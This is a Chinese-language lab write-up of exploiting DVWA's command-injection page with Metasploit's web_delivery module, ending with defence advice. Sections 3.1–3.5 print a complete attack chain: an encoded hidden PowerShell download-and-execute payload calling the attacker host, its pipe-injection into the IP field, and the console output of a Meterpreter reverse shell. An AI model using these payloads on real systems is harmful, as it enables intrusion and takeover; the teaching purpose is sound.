利用Metasploit Web_Delivery对DVWA命令注入漏洞的渗透攻击实践
1. 摘要
本文记录了一次针对Damn Vulnerable Web Application (DVWA)中命令注入(Command Injection)漏洞的渗透测试实践。攻击者(白帽子)利用Metasploit Framework中的web_delivery
模块,生成一个PowerShell负载,通过DVWA的低安全等级命令注入漏洞传递给靶机,最终成功获得了一个Meterpreter反向Shell会话。本次实验旨在揭示命令注入漏洞的严重性,并提升防御意识。
2. 实验环境
角色 | 操作系统 | IP地址 | 软件 |
---|---|---|---|
攻击机 (Attacker) | Kali Linux | 192.168.1.26 | Metasploit Framework |
靶机 (Target) | Windows 11 | 192.168.1.13 | DVWA (安全等级: Low) |
3. 攻击步骤详解
3.1 启动MSF并配置Exploit模块
首先,在Kali Linux上启动Metasploit控制台。
msfconsole
使用multi/script/web_delivery
模块,该模块非常适合通过脚本语言(如Python、PHP、Powershell)交付和执行载荷。
use exploit/multi/script/web_delivery
设置Payload为windows/meterpreter/reverse_tcp
,这是一个功能强大的反向连接Shell。
set payload windows/meterpreter/reverse_tcp
3.2 配置模块选项
查看需要设置的选项。
show options
根据实验环境进行配置。最关键的是设置攻击机的IP地址(LHOST)。
set lhost 192.168.1.26
set srvhost 192.168.1.26 # 通常与LHOST相同,是承载恶意脚本的服务器地址
查看可用的目标类型,我们选择PowerShell。
show targets
设置目标为PowerShell。
set target 2
3.3 执行模块并生成恶意载荷
运行模块,Metasploit会启动一个服务器并生成一行用于漏洞利用的PowerShell命令。
run
执行后,MSF会显示类似如下的关键信息:
[*] Using URL: http://192.168.1.26:8080/qzKo5FhM6X...
[*] Started HTTP reverse handler on http://192.168.1.26:4444
[*] Using PowerShell stager base code for windows/meterpreter/reverse_tcp
[*] Powershell command length: ....
Command to run:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAByAGYAMQBQAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHIAZgAxAFAALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAByAGYAMQBQAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADYAOgA4ADAAOAAwAC8AcQB6AEsAbwA1AEYAaABNADYAWABFADcAegAvAE8ANgAzAGcAYQB2AHIAMQBKAGkAZQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADYAOgA4ADAAOAAwAC8AcQB6AEsAbwA1AEYAaABNADYAWABFADcAegAnACkAKQA7AA==
这行编码的PowerShell命令就是我们的“武器”。
3.4 利用DVWA命令注入漏洞
- 在攻击机的浏览器中访问靶机DVWA:
http://192.168.1.13/dvwa
。 - 登录后,在左侧Security选项卡中将安全级别设置为Low。
- 进入Command Injection功能模块。
在输入框中,原本用于输入IP地址的地方,我们注入我们的Payload。DVWA Low级别的命令注入直接连接了用户输入,使用管道符|
可以顺利执行下一条命令。
输入:
127.0.0.1 | powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAByAGYAMQBQAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHIAZgAxAFAALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAByAGYAMQBQAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADYAOgA4ADAAOAAwAC8AcQB6AEsAbwA1AEYAaABNADYAWABFADcAegAvAE8ANgAzAGcAYQB2AHIAMQBKAGkAZQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADYAOgA4ADAAOAAwAC8AcQB6AEsAbwA1AEYAaABNADYAWABFADcAegAnACkAKQA7AA==
- 点击Submit按钮。
3.5 获取Meterpreter会话
一旦Payload在靶机上执行,它会向我们的攻击机(192.168.1.26:4444
)发起连接。此时,在MSF控制台中,你会看到成功的提示。
[*] 192.168.1.13 web_delivery - Delivering Payload
[*] Sending stage (175686 bytes) to 192.168.1.13
[*] Meterpreter session 1 opened (192.168.1.26:4444 -> 192.168.1.13:49867) at 2023-10-XX XX:XX:XX +0000
列出当前活跃的会话。
sessions
与获得的Session进行交互。
sessions 1
交互成功,命令行提示符变为meterpreter >
,标志着我们已经成功控制了目标机器。
4. 漏洞原理与防御建议
漏洞原理:
- 命令注入:DVWA的Low级别Command Injection页面未对用户输入(
$_GET['ip']
)进行任何过滤。攻击者通过注入特殊字符(如|
、&
、;
)将系统命令拼接至原有的ping
命令中,导致任意命令执行。 - Web Delivery:该攻击方式无需向磁盘写入恶意文件。MSF在攻击机上搭建一个临时Web服务器,提供的Payload实质上是一段PowerShell脚本。该脚本会从服务器下载并直接在内存中执行Meterpreter的第二阶段载荷,实现了无文件攻击,具有较强的隐蔽性。
防御建议:
- 输入验证与过滤:对所有用户输入进行严格的验证和过滤,使用白名单机制只允许预期的字符(如IP地址只允许数字和点号)。
- 避免使用危险函数:在Web开发中,尽量避免使用
system()
,exec()
,passthru()
,shell_exec()
等能直接执行系统命令的函数。如果必须使用,务必对参数进行严格处理。 - 最小权限原则:运行Web服务的应用程序账户(如Apache、IIS_USER)应遵循最小权限原则,避免授予其SYSTEM或Administrator等高权限,从而限制被入侵后的影响范围。
- 部署安全设备:部署WAF(Web应用防火墙)可以帮助检测和阻止常见的注入攻击。
- 代码审计与定期渗透测试:定期进行代码安全审计和渗透测试,主动发现并修复潜在漏洞。
5. 结论
本次实验成功利用Metasploit的web_delivery
模块,通过DVWA的命令注入漏洞获得了Windows 11靶机的远程Meterpreter控制权。整个过程清晰地展示了命令注入漏洞的巨大危害——它可以直接导致服务器被完全接管。作为白帽子和开发者,理解这种攻击链至关重要,这有助于我们构建更安全、更稳固的应用系统。